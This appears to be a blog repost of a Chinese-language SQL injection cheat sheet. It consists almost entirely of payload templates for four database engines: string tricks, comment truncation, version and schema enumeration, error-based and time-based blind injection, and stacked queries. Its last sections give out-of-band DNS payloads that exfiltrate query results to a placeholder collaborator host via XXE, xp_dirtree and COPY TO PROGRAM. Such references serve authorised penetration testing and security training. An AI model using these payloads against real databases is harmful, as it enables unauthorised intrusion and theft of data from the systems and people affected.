SQL注入备忘单 SQL injection cheat sheet

SQL注入备忘单 SQL injection cheat sheet

此SQL 注入备忘单包含有用的语法示例,可用于执行执行 SQL 注入攻击时经常出现的各种任务。

字符串连接

您可以将多个字符串连接在一起形成一个字符串。

Oracle'foo'||'bar'
Microsoft'foo'+'bar'
PostgreSQL'foo'||'bar'
MySQL'foo' 'bar' [注意中间的空格]
CONCAT('foo','bar')

子字符串

您可以从具有指定长度的指定偏移量中提取字符串的一部分。请注意,偏移索引是从 1 开始的。以下每个表达式都将返回字符串ba

OracleSUBSTR('foobar', 4, 2)
MicrosoftSUBSTRING('foobar', 4, 2)
PostgreSQLSUBSTRING('foobar', 4, 2)
MySQLSUBSTRING('foobar', 4, 2)

注释

您可以使用注释来截断查询并删除原始查询中您输入之后的部分。

Oracle--comment
Microsoft--comment
/*comment*/
PostgreSQL--comment
/*comment*/
MySQL#comment
-- comment [注意双破折号后面的空格]
/*comment*/

数据库版本

您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息很有用。

OracleSELECT banner FROM v$version
SELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version

数据库内容

您可以列出数据库中存在的表,以及这些表包含的列。

OracleSELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
MicrosoftSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

条件错误

您可以测试单个布尔条件并在条件为真时触发数据库错误。

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQLSELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

批处理(或堆叠)查询

您可以使用批处理查询连续执行多个查询。请注意,在执行后续查询时,不会将结果返回给应用程序。因此,此技术主要用于与盲漏洞相关的漏洞,您可以在其中使用第二个查询来触发 DNS 查找、条件错误或时间延迟。

OracleDoes not support batched queries.
MicrosoftQUERY-1-HERE; QUERY-2-HERE
PostgreSQLQUERY-1-HERE; QUERY-2-HERE
MySQLQUERY-1-HERE; QUERY-2-HERE

备注

对于 MySQL,批处理查询通常不能用于 SQL 注入。但是,如果目标应用程序使用某些 PHP 或 Python API 与 MySQL 数据库通信,这有时是可能的。

时间延迟注入

处理查询时,您可能会导致数据库出现时间延迟。以下将导致 10 秒的无条件时间延迟。

Oracledbms_pipe.receive_message(('a'),10)
MicrosoftWAITFOR DELAY '0:0:10'
PostgreSQLSELECT pg_sleep(10)
MySQLSELECT sleep(10)
SQL注入备忘单 SQL injection cheat sheet

有条件的时间延迟

您可以测试单个布尔条件并在条件为真时触发时间延迟。

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
MicrosoftIF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQLSELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

DNS查询

您可以使数据库对外部域执行 DNS 查找。为此,您需要使用Burp Collaborator 客户端生成将在攻击中使用的唯一 Burp Collaborator 子域,然后轮询 Collaborator 服务器以确认发生了 DNS 查找。

Oracle以下技术利用 XML 外部实体 ( XXE ) 漏洞来触发 DNS 查找。
该漏洞已被修补,但存在许多未修补的 Oracle:
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

以下技术适用于完全修补的 Oracle 安装,但需要提升权限:
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoftexec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQLcopy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL以下技术仅适用于 Windows:
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

带有数据泄露的 DNS 查找

您可以使数据库对包含注入查询结果的外部域执行 DNS 查找。为此,您需要使用Burp Collaborator 客户端生成将在攻击中使用的唯一 Burp Collaborator 子域,然后轮询 Collaborator 服务器以检索任何 DNS 交互的详细信息,包括泄露的数据。

OracleSELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Microsoftdeclare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
PostgreSQLcreate OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQL以下技术仅适用于Windows:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注